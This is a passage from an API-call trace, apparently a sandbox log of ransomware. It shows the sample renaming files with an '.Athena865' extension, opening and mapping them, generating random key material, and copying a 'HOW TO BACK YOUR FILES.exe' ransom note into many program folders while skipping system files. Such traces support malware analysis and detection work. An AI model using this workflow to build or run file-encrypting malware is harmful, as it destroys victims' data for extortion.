(lpString1="ins", lpString2="lgc") returned -1 [0065.084] lstrlenW (lpString="lwx") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="lwx") returned -1 [0065.084] lstrlenW (lpString="maf") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="maf") returned -1 [0065.084] lstrlenW (lpString="maq") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="maq") returned -1 [0065.085] lstrlenW (lpString="mar") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mar") returned -1 [0065.085] lstrlenW (lpString="marshal") returned 7 [0065.085] lstrcmpiW (lpString1="all.ins", lpString2="marshal") returned -1 [0065.085] lstrlenW (lpString="mas") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mas") returned -1 [0065.085] lstrlenW (lpString="mav") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mav") returned -1 [0065.085] lstrlenW (lpString="maw") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="maw") returned -1 [0065.085] lstrlenW (lpString="mdbhtml") returned 7 [0065.085] lstrcmpiW (lpString1="all.ins", lpString2="mdbhtml") returned -1 [0065.085] lstrlenW (lpString="mdn") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mdn") returned -1 [0065.085] lstrlenW (lpString="mdt") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mdt") returned -1 [0065.085] lstrlenW (lpString="mfd") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mfd") returned -1 [0065.085] lstrlenW (lpString="mpd") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mpd") returned -1 [0065.085] lstrlenW (lpString="mrg") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mrg") returned -1 [0065.085] lstrlenW (lpString="mud") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mud") returned -1 [0065.085] lstrlenW (lpString="mwb") returned 3 [0065.085] lstrcmpiW (lpString1="ins", lpString2="mwb") returned -1 [0065.086] lstrlenW (lpString="myd") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="myd") returned -1 [0065.086] lstrlenW (lpString="ndf") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="ndf") returned -1 [0065.086] lstrlenW (lpString="nnt") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="nnt") returned -1 [0065.086] lstrlenW (lpString="nrmlib") returned 6 [0065.086] lstrcmpiW (lpString1="ll.ins", lpString2="nrmlib") returned -1 [0065.086] lstrlenW (lpString="ns2") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="ns2") returned -1 [0065.086] lstrlenW (lpString="ns3") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="ns3") returned -1 [0065.086] lstrlenW (lpString="ns4") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="ns4") returned -1 [0065.086] lstrlenW (lpString="nsf") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="nsf") returned -1 [0065.086] lstrlenW (lpString="nv") returned 2 [0065.086] lstrcmpiW (lpString1="ns", lpString2="nv") returned -1 [0065.086] lstrlenW (lpString="nv2") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="nv2") returned -1 [0065.086] lstrlenW (lpString="nwdb") returned 4 [0065.086] lstrcmpiW (lpString1=".ins", lpString2="nwdb") returned -1 [0065.086] lstrlenW (lpString="nyf") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="nyf") returned -1 [0065.086] lstrlenW (lpString="odb") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="odb") returned -1 [0065.086] lstrlenW (lpString="odb") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="odb") returned -1 [0065.086] lstrlenW (lpString="oqy") returned 3 [0065.086] lstrcmpiW (lpString1="ins", lpString2="oqy") returned -1 [0065.086] lstrlenW (lpString="ora") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="ora") returned -1 [0065.087] lstrlenW (lpString="orx") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="orx") returned -1 [0065.087] lstrlenW (lpString="owc") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="owc") returned -1 [0065.087] lstrlenW (lpString="p96") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="p96") returned -1 [0065.087] lstrlenW (lpString="p97") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="p97") returned -1 [0065.087] lstrlenW (lpString="pan") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="pan") returned -1 [0065.087] lstrlenW (lpString="pdb") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="pdb") returned -1 [0065.087] lstrlenW (lpString="pdm") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="pdm") returned -1 [0065.087] lstrlenW (lpString="pnz") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="pnz") returned -1 [0065.087] lstrlenW (lpString="qry") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="qry") returned -1 [0065.087] lstrlenW (lpString="qvd") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="qvd") returned -1 [0065.087] lstrlenW (lpString="rbf") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="rbf") returned -1 [0065.087] lstrlenW (lpString="rctd") returned 4 [0065.087] lstrcmpiW (lpString1=".ins", lpString2="rctd") returned -1 [0065.087] lstrlenW (lpString="rod") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="rod") returned -1 [0065.087] lstrlenW (lpString="rodx") returned 4 [0065.087] lstrcmpiW (lpString1=".ins", lpString2="rodx") returned -1 [0065.087] lstrlenW (lpString="rpd") returned 3 [0065.087] lstrcmpiW (lpString1="ins", lpString2="rpd") returned -1 [0065.087] lstrlenW (lpString="rsd") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="rsd") returned -1 [0065.088] lstrlenW (lpString="sas7bdat") returned 8 [0065.088] lstrcmpiW (lpString1="tall.ins", lpString2="sas7bdat") returned 1 [0065.088] lstrlenW (lpString="sbf") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="sbf") returned -1 [0065.088] lstrlenW (lpString="scx") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="scx") returned -1 [0065.088] lstrlenW (lpString="sdb") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="sdb") returned -1 [0065.088] lstrlenW (lpString="sdc") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="sdc") returned -1 [0065.088] lstrlenW (lpString="sdf") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="sdf") returned -1 [0065.088] lstrlenW (lpString="sis") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="sis") returned -1 [0065.088] lstrlenW (lpString="spq") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="spq") returned -1 [0065.088] lstrlenW (lpString="te") returned 2 [0065.088] lstrcmpiW (lpString1="ns", lpString2="te") returned -1 [0065.088] lstrlenW (lpString="teacher") returned 7 [0065.088] lstrcmpiW (lpString1="all.ins", lpString2="teacher") returned -1 [0065.088] lstrlenW (lpString="tmd") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="tmd") returned -1 [0065.088] lstrlenW (lpString="tps") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="tps") returned -1 [0065.088] lstrlenW (lpString="trc") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="trc") returned -1 [0065.088] lstrlenW (lpString="trc") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="trc") returned -1 [0065.088] lstrlenW (lpString="trm") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="trm") returned -1 [0065.088] lstrlenW (lpString="udb") returned 3 [0065.088] lstrcmpiW (lpString1="ins", lpString2="udb") returned -1 [0065.089] lstrlenW (lpString="udl") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="udl") returned -1 [0065.089] lstrlenW (lpString="usr") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="usr") returned -1 [0065.089] lstrlenW (lpString="v12") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="v12") returned -1 [0065.089] lstrlenW (lpString="vis") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="vis") returned -1 [0065.089] lstrlenW (lpString="vpd") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="vpd") returned -1 [0065.089] lstrlenW (lpString="vvv") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="vvv") returned -1 [0065.089] lstrlenW (lpString="wdb") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="wdb") returned -1 [0065.089] lstrlenW (lpString="wmdb") returned 4 [0065.089] lstrcmpiW (lpString1=".ins", lpString2="wmdb") returned -1 [0065.089] lstrlenW (lpString="wrk") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="wrk") returned -1 [0065.089] lstrlenW (lpString="xdb") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="xdb") returned -1 [0065.089] lstrlenW (lpString="xld") returned 3 [0065.089] lstrcmpiW (lpString1="ins", lpString2="xld") returned -1 [0065.089] lstrlenW (lpString="xmlff") returned 5 [0065.089] lstrcmpiW (lpString1="l.ins", lpString2="xmlff") returned -1 [0065.089] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.Athena865") returned 63 [0065.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.Athena865" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.athena865"), dwFlags=0x1) returned 1 [0065.090] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.Athena865" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.091] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=460) returned 1 [0065.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.091] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.092] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.092] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.092] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d0, lpName=0x0) returned 0x154 [0065.094] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d0) returned 0x100000 [0065.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.095] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.095] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.096] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.096] CloseHandle (hObject=0x154) returned 1 [0065.096] CloseHandle (hObject=0x17c) returned 1 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.096] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0065.096] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0065.096] ReleaseMutex (hMutex=0xec) returned 1 [0065.097] CloseHandle (hObject=0xec) returned 1 [0065.097] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0065.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c320 | out: hHeap=0x4f0000) returned 1 [0065.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned 53 [0065.097] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\36D00B184EA2CE6718A7592F54F5811F") returned 0xec [0065.097] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0065.097] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0065.097] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0065.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 0 [0065.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0065.098] GetLastError () returned 0x0 [0065.098] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0065.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0065.098] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0065.099] CloseHandle (hObject=0xf4) returned 1 [0065.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0065.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0065.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe866ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0065.099] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.099] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.099] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.099] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe866ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.099] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.099] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.099] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.099] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0065.099] lstrcmpiW (lpString1="10", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.099] lstrcmpiW (lpString1="10", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.099] lstrcmpiW (lpString1="10", lpString2=".") returned 1 [0065.099] lstrcmpiW (lpString1="10", lpString2="..") returned 1 [0065.099] lstrcmpiW (lpString1="10", lpString2="windows") returned -1 [0065.099] lstrcmpiW (lpString1="10", lpString2="bootmgr") returned -1 [0065.099] lstrcmpiW (lpString1="10", lpString2="temp") returned -1 [0065.099] lstrcmpiW (lpString1="10", lpString2="pagefile.sys") returned -1 [0065.100] lstrcmpiW (lpString1="10", lpString2="boot") returned -1 [0065.100] lstrcmpiW (lpString1="10", lpString2="ids.txt") returned -1 [0065.100] lstrcmpiW (lpString1="10", lpString2="ntuser.dat") returned -1 [0065.100] lstrcmpiW (lpString1="10", lpString2="perflogs") returned -1 [0065.100] lstrcmpiW (lpString1="10", lpString2="MSBuild") returned -1 [0065.100] lstrlenW (lpString="10") returned 2 [0065.100] lstrcpyW (in: lpString1=0x241e8b4, lpString2="10" | out: lpString1="10") returned="10" [0065.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c320 [0065.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502b28 [0065.100] lstrcatW (in: lpString1="10", lpString2="\\" | out: lpString1="10\\") returned="10\\" [0065.100] lstrcatW (in: lpString1="10\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="10\\HOW TO BACK YOUR FILES.exe") returned="10\\HOW TO BACK YOUR FILES.exe" [0065.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), bFailIfExists=1) returned 1 [0065.104] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe866ca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0065.104] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0065.104] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe866ca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0065.104] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0065.104] ReleaseMutex (hMutex=0xec) returned 1 [0065.104] CloseHandle (hObject=0xec) returned 1 [0065.104] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0065.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528fb0 | out: hHeap=0x4f0000) returned 1 [0065.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c338 | out: hHeap=0x4f0000) returned 1 [0065.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART") returned 41 [0065.104] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DC5E9C800230FBD77D5162C362DFC362") returned 0xec [0065.104] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0065.104] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0065.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0065.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\how to back your files.exe"), bFailIfExists=1) returned 0 [0065.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0065.105] GetLastError () returned 0x0 [0065.105] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0065.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0065.105] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0065.106] CloseHandle (hObject=0xf4) returned 1 [0065.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0065.106] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0065.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe866ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0065.106] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.106] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.106] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.106] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe866ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.106] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.106] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.106] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.106] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.106] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe866ca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe866ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0065.106] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0065.106] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, 